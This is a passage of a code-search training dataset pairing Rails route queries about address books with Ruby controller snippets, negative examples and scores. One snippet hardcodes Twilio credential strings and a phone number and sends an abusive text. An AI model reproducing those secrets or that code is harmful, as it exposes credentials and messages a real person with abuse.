'AC42b26049da2a7e3556c17a940b75d163'\n ENV['TWILIO_AUTH_TOKEN'] = 'e099f1d5f14b1ddcfcf9376bafb5e3c5'\n \n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n \n #time_str = ((self.interviewdate).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n reminder = \"Hi. Just FUCK OFF\"\n \n message = @client.account.messages.create(\n :from => @twilio_number,\n :to => '+17043450672',\n :body => reminder,\n )\n puts message.to\n end", "def calculate(message, phone)\n \n puts message.to\n end", "def fallback_to_twilio\n sms.output = :twilio\n sms.deliver\n end", "def reply_to_sender(phone_number, msg)\n msg = msg[0..MAX_MSG_PAYLOAD-1]\n org = get_system_org\n org.send_direct(org.system_user, phone_number, msg)\n end", "def process\n logger.info \"Beetle: received message #{message.inspect}\"\n end", "def msg(target, message)\n buffer_output Net::YAIL::OutgoingEvent.new(:type => :msg, :target => target, :message => message)\n end", "def receive(data)\n puts \"messages:#{params[:room]} received #{data} from #{current_user}\"\n # we can relay the received message without the model if we want.\n # ActionCable.server.broadcast(\"messages\", data)\n end", "def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end", "def on_001 (msg)\n when_ready if respond_to? :when_ready\n end" ]
[ "0.6677721", "0.6641011", "0.65686715", "0.64786357", "0.6463351", "0.6381599", "0.6369843", "0.632752", "0.63001657", "0.6271573", "0.6203104", "0.6195237", "0.6194619", "0.61725783", "0.61402947", "0.613105", "0.61290985", "0.6105177", "0.60967404", "0.6095124", "0.6078915", "0.6075651", "0.60623556", "0.6059959", "0.6043105", "0.6038044", "0.6031835", "0.60295486", "0.59895366", "0.5981041", "0.5979507", "0.5946884", "0.59463763", "0.593575", "0.59287506", "0.5922922", "0.59160596", "0.59108573", "0.5900554", "0.5895389", "0.5889383", "0.58882296", "0.5885652", "0.58646214", "0.5858753", "0.5853371", "0.5852326", "0.584701", "0.58467424", "0.58445597", "0.5842334", "0.5836836", "0.5834341", "0.5831295", "0.58290154", "0.58054614", "0.5804385", "0.58016634", "0.58012164", "0.58008724", "0.57972074", "0.5793623", "0.57746756", "0.5763626", "0.5753724", "0.5742042", "0.5734823", "0.5732041", "0.573094", "0.5729283", "0.57229304", "0.57216835", "0.5706188", "0.57046366", "0.5703919", "0.56909484", "0.5689928", "0.5688402", "0.5683205", "0.5678199", "0.56769", "0.56759584", "0.56752914", "0.567094", "0.5667268", "0.5661093", "0.56597316", "0.5655571", "0.56547844", "0.5651728", "0.56449383", "0.5637418", "0.56364816", "0.5635226", "0.5633268", "0.56209403", "0.56208026", "0.5620099", "0.56159735", "0.5614251", "0.5612834" ]
0.0
-1
GET /address_books GET /address_books.json
def index @address_books = AddressBook.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_address_books\n self.class.get('https://api.yesgraph.com/v0/address-books', :headers => @options)\n end", "def get_address_book(user_id)\n self.class.get(\"https://api.yesgraph.com/v0/address-book/#{user_id}\",\n {\n :headers => @options\n }\n )\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def order_book(params)\n Client.current.get(\"#{resource_url}/book\", params)\n end", "def index\n @books = Book.all\n render json: @books\n end", "def get_book(search)\n\trequest_string = \"https://www.googleapis.com/books/v1/volumes?q=#{search.gsub(\" \",\"+\")}\"\n\t\n\tsample_uri = URI(request_string) #opens a portal to the data at that link\n\tsample_response = Net::HTTP.get(sample_uri) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response) #makes data easy to read\n\tsample_parsedResponse[\"items\"]\nend", "def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def get_address\n booking = Booking.where(user_id: current_user.id).last\n pick_up_addr = PickupAddress.where(:booking_id => booking.id).last\n drop_off_addr = DropoffAddress.where(:booking_id => booking.id).last\n hash = {:pick_up_addr => pick_up_addr.address, :drop_off_addr => drop_off_addr.address}\n respond_to do |format|\n format.json { render :json => hash.to_json, :status => 200 }\n end\n end", "def index\n @books = []\n if (params[:q])\n @books = Book.where(params[:q])\n end\n render :json => @books\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def book\n @book = Book.published.find(params[:id])\n render json: @book\n end", "def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end", "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend", "def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end", "def index\n @contacts = current_user.get_address_book_contacts\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contacts }\n end\n end", "def index\n @user_books = UserBook.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_books }\n end\n end", "def search_book_by_name(book)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{URI::encode(book)}&key=#{get_access_key}\"\n\tres = JSON.load(RestClient.get(url))\n return res\t\nend", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end", "def book\n fetch('harry_potter.books')\n end", "def index\n @books = Book.order('created_at DESC').page(params[:page]).per_page(10).search(params[:search], params[:id])\n respond_to do |format|\n format.json\n format.html\n end\n end", "def index\n if params[:book_id]\n @book = Book.find(params[:book_id])\n recipes = @book.recipes\n render json: RecipeSerializer.new(recipes).to_serialized_json\n else \n recipes = Recipe.all.order(:name)\n render json: RecipeSerializer.new(recipes).to_serialized_json\n end\n end", "def index\n @books = Book.find_all_by_user_id(current_user)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n end", "def index\n @book_pages = @book.book_pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_pages }\n end\n end", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def index\n authorize! :query, Book\n @books = Book.order(:title)\n respond_to do |format|\n format.html\n format.json {render text: @books.to_json}\n format.xml {render text: @books.to_xml}\n end\n end", "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\n end", "def index\n @books = Book.extended_details\n\n render json: @books.as_json(\n only: [:id, :title, :author, :created_at, :total_income_cents, :copies_count, :remaining_copies_count, :loaned_copies_count]\n )\n end", "def index\n @customers_addresses = CustomersAddress.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers_addresses }\n end\n end", "def auto_complete\n q = params[:term].gsub(/\\s/, \"\").gsub(\" \", \"\")\n uri = Addressable::URI.parse(\"https://www.googleapis.com/books/v1/volumes?q=#{q}&country=JP&maxResults=40&orderBy=relevance\")\n begin\n response = Net::HTTP.get_response(uri)\n result = JSON.parse(response.body)\n book_result = result[\"items\"]\n .select{|item| item.has_key?(\"volumeInfo\") && item[\"volumeInfo\"].has_key?(\"title\")}\n .take(40)\n .map{|item|\n {\n title: item[\"volumeInfo\"][\"title\"],\n subtitle: item[\"volumeInfo\"][\"subtitle\"],\n authors: item[\"volumeInfo\"][\"authors\"],\n categories: item[\"volumeInfo\"][\"categories\"],\n google_books_id: item[\"id\"],\n info: item[\"volumeInfo\"][\"industryIdentifiers\"]\n }\n }\n @results = Book.auto_complete_map(book_result)\n\n render json: @results.to_json\n rescue => e\n p e.message\n end\n end", "def show\n render json: @book\n end", "def index\n books_with_isbn = Book.where(isbn: params[:search])\n if books_with_isbn.any? and not request.format.json?\n redirect_to books_with_isbn.first\n return\n else\n search\n @books = @books.first(params[:limit].to_i) if params[:limit]\n @query = params[:search]\n unless request.format.json?\n @books = @books.paginate(page: params['page'])\n end\n end\n respond_to do |format|\n format.html\n format.json { 'show' }\n end\n end", "def show\n find_book(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def index\n @books = Book.get_avaible_books\n end", "def index\n @cookbooks = Cookbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cookbooks }\n end\n end", "def index\r\n @books = Book.paginate(:page => params[:page], :per_page => 30)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @books }\r\n end\r\n end", "def show\n @authors_book = AuthorsBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @authors_book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def index\n @address_books = AddressBook.find(:all, :include => :addresses, :order => 'address_books.rank ASC, addresses.rank ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @address_books }\n end\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', \n :response_group => 'Large,Reviews,Similarities,AlternateVersions' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return Book.new( item )\n end\n return nil\n end", "def private_get_address_book_get(currency, type, opts = {})\n data, _status_code, _headers = private_get_address_book_get_with_http_info(currency, type, opts)\n data\n end", "def get_address(street_number:, street:, city:, state:, zip:)\n response = RestClient.get \"https://geocoding.geo.census.gov/geocoder/locations/onelineaddress?address=#{street_number}+#{street}%2C+#{city}%2C+#{state}+#{zip}&benchmark=9&format=json\"\n json = JSON.parse(response.body)\n end", "def show\n @library_book = LibraryBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @library_book }\n end\n end", "def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def search\n book = Book.new(params)\n render json: book.search\n end", "def by_address(address)\n Apis.client.get(\"/company?address=#{address}\")\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', :response_group => 'Large,Reviews,Similarities' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return parse_item( item )\n end\n end", "def index\n books = current_user.books.all\n render json: { books: books }\n end", "def index\n @title = \"List Books\"\n @books = Book.paginate :page=>params[:page], :per_page => 100, :order => 'title'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def index\n @books = @collection.books\n #original: @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def show\n @address_book_item = AddressBookItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @address_book_item }\n end\n end", "def index\n @businessbooks = Businessbook.search(params[:search]).paginate(:per_page => 18, :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @businessbooks }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end", "def search_for_google_books(search_term)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{search_term}\"\n response = RestClient.get(url)\n hash = JSON.parse(response)\n hash[\"items\"]\nend", "def show\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @book }\r\n end\r\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @books = Book.all\n do_response @books\n #\n #respond_to do |format|\n # format.html # index.html.erb\n #format.json { render :json => @books }\n #end\n end", "def index\n @addresses = Address.all\n end", "def index\n @addresses = Address.all\n end", "def index\n\t\tif (params[:data] != nil)\n\t\t\t@book = Book.new\n\t\t\t@client = Goodreads::Client.new(api_key: \"rSkvvZY8Wx27zcj4AfHA\", api_secret: \"S5WOpmY8pVtaEu1IwNn51DBafjoEIbjuxZdE6sNM\")\n\t\t\t@search = @client.search_books(params[:data])\n\t\t\t#@search = @client.search_books(\"the lord of the rings\")\n\t\t\t@results = @search.results.work\n\t\t\t#https://image.tmdb.org/t/p/w300_and_h450_bestv2\n\t\tend\n\n @books = Book.all\n end", "def index\n @addresses = Address.scoped.order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @addresses }\n end\n end", "def fetch_book_info\n url = \"#{BASE_URL}/#{book_id}\"\n resp = RestClient::Request.execute(url: url, method: \"GET\")\n resp_obj = JSON.parse(resp)\n\n {\n id: book_id,\n title: resp_obj[\"volumeInfo\"][\"title\"],\n author: resp_obj[\"volumeInfo\"][\"authors\"][0],\n image: resp_obj[\"volumeInfo\"][\"imageLinks\"] ? resp_obj[\"volumeInfo\"][\"imageLinks\"][\"thumbnail\"] : DEFAULT_IMAGE\n }\n end", "def create\n @address_book = AddressBook.new(address_book_params)\n\n respond_to do |format|\n if @address_book.save\n format.html { redirect_to @address_book, notice: 'Address book was successfully created.' }\n format.json { render :show, status: :created, location: @address_book }\n else\n format.html { render :new }\n format.json { render json: @address_book.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @businessbook }\n end\n end", "def list\n if params[:query]\n @searched = true\n @books = Book.active.search(params[:query])\n else\n @books = Book.active_reverse.paginate :page => params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end", "def index\n @book_locations = BookLocation.all\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def index\n @order_books = OrderBook.all\n end", "def index\n #@books = Book.all\n @books = Book.find(:all, :order => \"isbn\")\n @book_images = BookImage.find(:all, :include => :book)\n #@book_images = []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def get_books()\n @books_out\n end", "def get_books()\n @books_out\n end", "def list\n @books = Book.all\n end", "def set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def get_book_with_api(title)\n uri = URI.parse(URI.encode(\"https://www.googleapis.com/books/v1/volumes?q=#{title}\"))\n service = Books::ApiConnectService.new(uri)\n book_response = service.execute[\"items\"].first[\"volumeInfo\"]\n .select{ |key, value| key == \"title\" || key == \"description\" || key == \"publisher\" || key == \"publishedDate\" || key == \"imageLinks\"}\n @book_info_hash = book_response.inject({}) do |hash, (key, value)|\n if key.underscore == \"image_links\"\n hash[key.underscore] = book_response[\"imageLinks\"][\"smallThumbnail\"]\n else\n hash[key.underscore] = value\n end\n hash\n end\n end", "def show\n render json: @api_book\n end", "def show\n @book_page = @book.book_pages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_page }\n end\n end", "def get_books(response)\n response[\"items\"]\nend", "def index\n if current_user\n @books = current_user.books\n render json: @books, status: 201\n end\n end", "def books_author\n \t@books = Book.where(\"author = '#{params[:author]}'\")\n\n \trespond_to do |format|\n format.html # list_authors.html.erb\n format.json { render json: @books }\n end\n end", "def new\n @address_book = AddressBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @address_book }\n end\n end", "def show\n @usersbook = Usersbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usersbook }\n end\n end", "def book_info_open_library\n client = Openlibrary::Client.new\n results = client.search(params[:q])\n end", "def book_info_open_library\n client = Openlibrary::Client.new\n results = client.search(params[:q])\n end", "def index\n @library_contacts = @library_location.library_contacts.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @library_contacts }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end" ]
[ "0.81414425", "0.7130902", "0.7011227", "0.66944295", "0.6541237", "0.64940757", "0.6453533", "0.64527196", "0.64360535", "0.6377079", "0.6365382", "0.6363231", "0.63540405", "0.6348739", "0.632448", "0.6281701", "0.6281066", "0.62784296", "0.6267369", "0.6260016", "0.62542874", "0.6249125", "0.62371397", "0.6230247", "0.62244195", "0.62068516", "0.61732125", "0.6171578", "0.6153927", "0.61467856", "0.61467767", "0.61347616", "0.6126825", "0.6126825", "0.612364", "0.61187106", "0.6110631", "0.61090666", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.61032826", "0.60919356", "0.607533", "0.6073568", "0.6070391", "0.606123", "0.60546225", "0.6041705", "0.6040413", "0.60390353", "0.6035928", "0.6035041", "0.6034477", "0.6031945", "0.603051", "0.6029177", "0.6014325", "0.60130036", "0.6012359", "0.5998921", "0.5991258", "0.5991258", "0.59781724", "0.59733486", "0.59592366", "0.5956982", "0.59568036", "0.59528375", "0.5945027", "0.5931476", "0.5931476", "0.5931476", "0.5927353", "0.5927193", "0.5925718", "0.5925718", "0.59195834", "0.5914947", "0.5914947", "0.5914947", "0.59148246", "0.5912878", "0.59087247", "0.5903394", "0.58937633", "0.5893638", "0.5878366", "0.58770806", "0.58758473", "0.58758473", "0.5875116", "0.58685833" ]
0.7406254
3
GET /address_books/1 GET /address_books/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_address_books\n self.class.get('https://api.yesgraph.com/v0/address-books', :headers => @options)\n end", "def index\n @address_books = AddressBook.all\n end", "def index\n @address_books = AddressBook.all\n end", "def index\n @address_books = AddressBook.all\n end", "def get_address_book(user_id)\n self.class.get(\"https://api.yesgraph.com/v0/address-book/#{user_id}\",\n {\n :headers => @options\n }\n )\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def get_address\n booking = Booking.where(user_id: current_user.id).last\n pick_up_addr = PickupAddress.where(:booking_id => booking.id).last\n drop_off_addr = DropoffAddress.where(:booking_id => booking.id).last\n hash = {:pick_up_addr => pick_up_addr.address, :drop_off_addr => drop_off_addr.address}\n respond_to do |format|\n format.json { render :json => hash.to_json, :status => 200 }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n\n format.json { render json: @book }\n end\n end", "def order_book(params)\n Client.current.get(\"#{resource_url}/book\", params)\n end", "def book\n @book = Book.published.find(params[:id])\n render json: @book\n end", "def get_book(search)\n\trequest_string = \"https://www.googleapis.com/books/v1/volumes?q=#{search.gsub(\" \",\"+\")}\"\n\t\n\tsample_uri = URI(request_string) #opens a portal to the data at that link\n\tsample_response = Net::HTTP.get(sample_uri) #go grab the data in the portal\n\tsample_parsedResponse = JSON.parse(sample_response) #makes data easy to read\n\tsample_parsedResponse[\"items\"]\nend", "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\nend", "def get_address(street_number:, street:, city:, state:, zip:)\n response = RestClient.get \"https://geocoding.geo.census.gov/geocoder/locations/onelineaddress?address=#{street_number}+#{street}%2C+#{city}%2C+#{state}+#{zip}&benchmark=9&format=json\"\n json = JSON.parse(response.body)\n end", "def index\n @books = Book.all\n render json: @books\n end", "def index\n @resumes = Resume.where(:book_id => params[:book_id])\n\n render json: @resumes\n end", "def show\n find_book(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def show\n @address = Address.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @address }\n end\n end", "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def index\n @books = Book.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def index\n @books = Book.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @books }\n end\n end", "def show\n @book = Book.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def show\n @book = Book.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @book }\n end\n end", "def show\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @book }\r\n end\r\n end", "def show\n @address_book_item = AddressBookItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @address_book_item }\n end\n end", "def index\n if params[:book_id]\n @book = Book.find(params[:book_id])\n recipes = @book.recipes\n render json: RecipeSerializer.new(recipes).to_serialized_json\n else \n recipes = Recipe.all.order(:name)\n render json: RecipeSerializer.new(recipes).to_serialized_json\n end\n end", "def search_book_by_name(book)\n url = \"https://www.googleapis.com/books/v1/volumes?q=#{URI::encode(book)}&key=#{get_access_key}\"\n\tres = JSON.load(RestClient.get(url))\n return res\t\nend", "def index\n @bookings = Booking.all.map { |b| [b, b.contact, b.persons.first] }\n respond_to do |format|\n format.html\n format.json { render json: @bookings }\n end\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', \n :response_group => 'Large,Reviews,Similarities,AlternateVersions' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return Book.new( item )\n end\n return nil\n end", "def show\n @authors_book = AuthorsBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @authors_book }\n end\n end", "def show\n @library_book = LibraryBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @library_book }\n end\n end", "def index\n books_with_isbn = Book.where(isbn: params[:search])\n if books_with_isbn.any? and not request.format.json?\n redirect_to books_with_isbn.first\n return\n else\n search\n @books = @books.first(params[:limit].to_i) if params[:limit]\n @query = params[:search]\n unless request.format.json?\n @books = @books.paginate(page: params['page'])\n end\n end\n respond_to do |format|\n format.html\n format.json { 'show' }\n end\n end", "def index\n @customers_addresses = CustomersAddress.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @customers_addresses }\n end\n end", "def show\n render json: @book\n end", "def index\n @books = []\n if (params[:q])\n @books = Book.where(params[:q])\n end\n render :json => @books\n end", "def show\n @businessbook = Businessbook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @businessbook }\n end\n end", "def get_book( book_id )\n response = if book_id.to_s.length >= 10\n Amazon::Ecs.item_lookup( book_id, :id_type => 'ISBN', :search_index => 'Books', :response_group => 'Large,Reviews,Similarities' )\n else\n Amazon::Ecs.item_lookup( book_id, :response_group => 'Large,Reviews,Similarities' )\n end\n response.items.each do |item|\n binding = item.get('ItemAttributes/Binding')\n next if binding.match(/Kindle/i)\n return parse_item( item )\n end\n end", "def fetch_book_info\n url = \"#{BASE_URL}/#{book_id}\"\n resp = RestClient::Request.execute(url: url, method: \"GET\")\n resp_obj = JSON.parse(resp)\n\n {\n id: book_id,\n title: resp_obj[\"volumeInfo\"][\"title\"],\n author: resp_obj[\"volumeInfo\"][\"authors\"][0],\n image: resp_obj[\"volumeInfo\"][\"imageLinks\"] ? resp_obj[\"volumeInfo\"][\"imageLinks\"][\"thumbnail\"] : DEFAULT_IMAGE\n }\n end", "def index\n @books = Book.extended_details\n\n render json: @books.as_json(\n only: [:id, :title, :author, :created_at, :total_income_cents, :copies_count, :remaining_copies_count, :loaned_copies_count]\n )\n end", "def by_address(address)\n Apis.client.get(\"/company?address=#{address}\")\n end", "def show\n @cook_book = CookBook.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cook_book }\n end\n end", "def private_get_address_book_get(currency, type, opts = {})\n data, _status_code, _headers = private_get_address_book_get_with_http_info(currency, type, opts)\n data\n end", "def show\n @book = Book.find_by_sql(\"SELECT * FROM Books B WHERE B.id = \" + params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book }\n end\n end", "def index\n @books = Book.order('created_at DESC').page(params[:page]).per_page(10).search(params[:search], params[:id])\n respond_to do |format|\n format.json\n format.html\n end\n end", "def book\n fetch('harry_potter.books')\n end", "def index\n @book_pages = @book.book_pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @book_pages }\n end\n end", "def get_book_with_api(title)\n uri = URI.parse(URI.encode(\"https://www.googleapis.com/books/v1/volumes?q=#{title}\"))\n service = Books::ApiConnectService.new(uri)\n book_response = service.execute[\"items\"].first[\"volumeInfo\"]\n .select{ |key, value| key == \"title\" || key == \"description\" || key == \"publisher\" || key == \"publishedDate\" || key == \"imageLinks\"}\n @book_info_hash = book_response.inject({}) do |hash, (key, value)|\n if key.underscore == \"image_links\"\n hash[key.underscore] = book_response[\"imageLinks\"][\"smallThumbnail\"]\n else\n hash[key.underscore] = value\n end\n hash\n end\n end", "def show\n @customers_address = CustomersAddress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @customers_address }\n end\n end", "def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\n end", "def index\n @user_books = UserBook.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_books }\n end\n end", "def show\n @book_page = @book.book_pages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @book_page }\n end\n end", "def index\n @books = Book.find_all_by_user_id(current_user)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n end", "def index\n @cookbooks = Cookbook.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cookbooks }\n end\n end", "def set_address_book\n @address_book = AddressBook.find(params[:id])\n end", "def 